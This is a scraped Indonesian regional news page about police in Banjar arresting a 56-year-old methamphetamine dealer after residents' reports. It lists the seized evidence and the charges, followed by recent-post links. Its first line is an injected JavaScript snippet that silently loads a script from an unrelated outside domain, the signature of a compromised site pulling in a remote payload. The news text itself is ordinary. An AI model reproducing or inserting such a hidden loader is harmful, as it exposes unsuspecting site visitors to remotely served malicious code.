(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Laporan dari Warga Desa yang Resah, Pengedar Sabu 56 Tahun di Gambut Ditangkap


KANALKALIMANTAN.COM, MARTAPURA – Satuan Reserse Narkoba Polres Banjar menangkap seorang lelaki paruh baya SF (56). SF diduga pelaku penyalahgunaan narkoba jenis sabu di Desa Tambak Sirang Baru, Kecamatan Gambut, Kabupaten Banjar.

Kasat Resnarkoba Polres Banjar AKP Heriadi mengatakan, penangkapan peredaran gelap narkoba tersebut dilakukan pada Jum’at (18/2/2022) sekitar pukul 18.30 Wita.

Berawal dari laporan warga Desa Tambak Sirang Baru, dari laporan warga yang dibuat resah dengan keberadaan pengedar narkoba di desa tersebut.

“Iya, benar masyarakat melaporkan. Lalu pada hari Jum’at (18/2/2022) sekitar pukul 18.30 Wita, kami berhasil mengamankan terlapor SF di rumahnya di Desa Tambak Sirang Baru,” jelas AKP Heriadi.

 

Baca juga : Delapan Paket Sabu Dalam Tas Pink, Warga Astambul Dibekuk Polisi

Bermodal dari laporan warga tersebut, Kasat Resnarkoba mengatakan, polisi langsung menindaklanjuti kebenaran informasi dengan mendatangi tempat yang ditunjuk warga sebagai tempat yang diduga sebagai kediaman pengedar barang haram tersebut.

Namun saat hendak dilakukan penangkapan, terlapor sempat membuang barang bukti ke halaman belakang rumahnya.

“Saat dilakukan penangkapan ditemukan barang bukti berupa 21 paket sabu berada di dalam satu buah dompet kecil, sempat dibuang pelaku ke belakang rumah,” kata AKP Heriadi.

Adapun barang bukti yang berhasil disita Petugas Kepolisian diantaranya, 21 paket sabu berat kotor 6,54 gram -berat bersih 2,76 gram-, satu HP merk Samsung warna hitam, satu bundel plastik klip, satu buah dompet kecil, satu buah timbangan digital, satu buah sendok terbuat dari sedotan plastik, uang tunai Rp 3.340.000, dan satu buah kaleng.

 

Baca juga : Menjaga Keberagaman, Bupati Barsel Safari Nyepi ke Desa Teluk Betung 

Atas pengungkapan tersebut, pelaku dan barang bukti diamankan ke Mapolres Banjar untuk segera dilakukan proses penyidikan lebih lanjut.

Untuk mempertanggungjawabkan atas perbuatannya, pelaku dikenakan Pasal 114 ayat (1) dan atau pasal 112 ayat (1) UU RI No. 35 Tahun 2009 tentang Narkotika dengan ancaman pidana penjara paling sedikit 6 tahun dan paling lama 20 tahun dengan denda 1 miliar. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

7 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

9 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

9 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

11 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

12 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

12 jam ago

This website uses cookies.